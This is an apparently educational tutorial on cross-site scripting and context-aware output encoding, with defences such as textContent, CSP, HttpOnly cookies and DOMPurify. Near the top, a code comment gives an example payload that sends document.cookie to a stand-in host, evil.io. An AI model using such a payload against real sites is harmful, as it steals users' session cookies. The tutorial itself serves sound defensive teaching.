XSS and Output Encoding
How attacker text becomes attacker code โ and the encoding discipline that makes it impossible.
XSS (Cross-Site Scripting) is the web's most common serious vulnerability: attacker-supplied text is rendered as code in another user's browser.
How it happens
// A comment feature that renders raw HTML:
commentList.innerHTML = `<div>${comment.text}</div>`;
// comment.text = "<img src=x onerror='fetch("//evil.io?c="+document.cookie)'>"
The browser can't tell your markup from the attacker's โ both arrived as HTML. Three flavors:
- Stored XSS โ payload saved (in a DB) and served to every viewer. Worst kind.
- Reflected XSS โ payload arrives in the request (query string), rendered in the response. Needs the victim to click a crafted link.
- DOM-based XSS โ client JS injects unsafe data into the DOM itself (
innerHTML,document.write,eval).
The fix: context-aware output encoding
Data is only dangerous when it crosses into code. Encode per destination context:
- HTML body:
<>&โ usetextContent, neverinnerHTML, for data - HTML attributes: quote attributes and escape
" - JavaScript strings: avoid embedding data in inline scripts entirely
- URLs:
encodeURIComponentfor query values (ajavascript:URL is also an XSS vector)
// SAFE: textContent treats data as data
const div = document.createElement("div");
div.textContent = comment.text;
React/Vue/Svelte escape by default โ which is why the remaining XSS bugs concentrate in dangerouslySetInnerHTML, markdown renderers, and attribute sinks. Modern security is knowing where the escape hatches are.
Defense in depth
- CSP (Content-Security-Policy) header: even if a payload lands, CSP can block inline script execution.
Content-Security-Policy: default-src 'self'is a strong default. - HttpOnly cookies: session tokens JavaScript can't read โ stolen payloads can't lift them.
- Sanitizers (DOMPurify) for the cases where HTML input is genuinely wanted: allowlist tags, strip event handlers.
Safe verification
In exercises we test with a canary: does <img src=x onerror=...> end up as text (good) or as an element with an onerror attribute (bad)? Parsing your own rendered output in a controlled toy page is safe and conclusive.